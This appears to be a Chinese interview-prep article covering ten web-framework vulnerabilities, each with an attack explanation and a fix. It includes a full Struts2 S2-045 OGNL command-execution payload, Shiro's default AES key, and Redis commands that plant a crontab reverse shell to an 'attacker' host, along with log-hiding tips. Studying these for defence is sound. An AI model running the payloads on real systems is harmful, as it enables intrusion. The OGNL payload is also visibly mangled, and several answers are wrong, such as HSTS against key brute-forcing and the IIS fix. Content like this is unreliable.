长亭春招面试题

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

在长亭干过2年,深知长亭对安服技术要求很高,每次面试要不拿出框架问题来问问肯定不会给你过的。毕竟那么多师傅都是靠框架来找0day的,整理了下经常会被问到的框架问题,大家可以收藏。更多的面试经都已经更新到了咱们得星球中了。


1. Shiro反序列化漏洞中,攻击者如何通过RememberMe字段构造恶意序列化数据实现RCE?请结合AES密钥硬编码问题分析攻击链形成过程。
答案
攻击链通过硬编码的AES密钥加密恶意序列化对象实现。Shiro的CookieRememberMeManager默认使用固定密钥(如kPH+bIxk5D2deZiIxcaaaA==)对RememberMe字段进行AES-CBC加密。攻击者构造包含反序列化利用链(如CommonsBeanutils)的Payload,序列化后使用该密钥加密并Base64编码,作为Cookie发送。服务端解密后触发反序列化漏洞,执行任意代码。
影响版本:Shiro <1.2.4(CVE-2016-4437)。
修复方案:升级至1.2.5+,禁用默认密钥或自定义密钥。


2. 在Fastjson反序列化漏洞利用中,如何通过JNDI注入结合LDAP协议实现远程类加载?解释@type参数在此过程中的关键作用及历史版本绕过方式。
答案
@type指定反序列化目标类(如com.sun.rowset.JdbcRowSetImpl),其dataSourceName属性指向恶意LDAP服务。Fastjson解析时触发JNDI查询,加载远程恶意类。绕过方式包括:

  • 语法变形Lcom.sun.rowset.JdbcRowSetImpl;绕过黑名单匹配。

  • 二次反序列化:利用Throwable子类嵌套触发。
    影响版本:Fastjson ≤1.2.80。
    修复方案:升级至2.x并启用SafeMode,或设置ParserConfig.getGlobalInstance().setSafeMode(true)


3. Apache Struts2 S2-045漏洞的成因是什么?请从OGNL表达式沙箱绕过角度分析攻击载荷构造原理,并给出有效的WAF防护规则设计要点。
答案
漏洞源于对Content-Type头未充分过滤,OGNL表达式通过%{...}语法注入。攻击载荷构造示例:

%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()))).(@java.lang.Runtime@getRuntime().exec('id'))}

WAF规则:拦截Content-Type中的#_memberAccessognl.OgnlContext等关键词,限制表达式递归解析深度。


4. 针对WebLogic T3协议反序列化漏洞,如何利用JRMPClient构造跨网段攻击链?请说明Coherence库在此漏洞中的核心作用及临时缓解措施。
答案
攻击者启动恶意JRMP服务,通过T3协议发送反序列化Payload(如weblogic.jndi.WLInitialContextFactory),触发WebLogic加载远程恶意类。Coherence库的InvokerTransformer类提供反射调用链,支持动态加载远程对象。
临时缓解:禁用T3协议或限制IP访问,升级至10.3.6.0.210720补丁。


5. 白名单文件上传场景下,如何通过分块传输编码(Transfer-Encoding: chunked)绕过前端检测?结合.htaccess文件解析特性说明二次攻击实现路径。
答案
分块传输将恶意文件拆分为多个块,绕过前端文件类型检测。上传.htaccess文件设置解析规则(如AddType application/x-httpd-php .jpg),后续上传包含PHP代码的图片文件(如shell.jpg)即可被解析为PHP执行。
防御:禁用.htaccess覆盖权限,严格校验文件头及MIME类型。


6. Redis未授权访问漏洞如何结合SSRF进行容器逃逸?请详细描述通过写入crontab任务或SSH公钥实现权限提升的具体步骤及日志隐匿方法。
答案
步骤

  1. 通过SSRF访问Redis服务,执行config set dir /var/spool/cron/config set dbfilename root

  2. 写入crontab任务:set x "\n* * * * * bash -i >& /dev/tcp/attacker/port 0>&1\n"save
    日志隐匿:使用redis-cli --raw避免写入可见字符,清除历史命令(flushall)。


7. IIS 6.0目录解析漏洞(test.asp/1.jpg)与Apache多后缀解析漏洞(1.php.xxx)的底层机制差异是什么?如何通过注册表修改和httpd.conf配置进行根本性修复?
答案

  • IIS 6.0:目录名后缀为.asp时,目录内所有文件按ASP解析。修复:注册表禁用AspEnableParentPaths

  • Apache:从右向左解析后缀,遇不可识别后缀继续左匹配。修复:在httpd.conf中设置AllowOverride None并禁用mod_negotiation


8. Tomcat AJP协议(CVE-2020-1938)文件读取/包含漏洞的利用条件有哪些?分析ajp13数据包中request_uri字段的编码要求及防护方案。
答案
利用条件:Tomcat启用AJP Connector(默认8009端口),request_uri字段包含../等路径穿越字符。需对URI进行双重URL编码(如%252e%252e%252f)绕过安全检查。
防护:升级至9.0.31+,禁用AJP协议或设置secretRequired="true"


9. JWT令牌安全中,如何通过"none"算法绕过签名验证?请从头部篡改、密钥爆破两个维度提出完整的防御方案。
答案
攻击:修改JWT头部algnone,删除签名部分。服务端未校验算法类型时信任令牌。
防御

  • 强制校验alg字段,禁用none算法。

  • 使用强密钥(HS256+),结合密钥轮换和HSTS防止爆破。


10. Spring Cloud Config Server的目录遍历漏洞(CVE-2020-5405)是如何通过占位符注入实现的?给出配置中心的安全加固建议及请求过滤策略。
答案
漏洞利用{application}/{profile}/{label}/路径中的占位符构造..%252F绕过校验,读取任意文件。
加固建议

  • 升级至2.2.3+或禁用spring.cloud.config.server.git.uri的占位符解析。

  • 请求过滤:拦截包含%2F..的URL路径。

你可能感兴趣的:(安全,长亭,网络安全,web安全)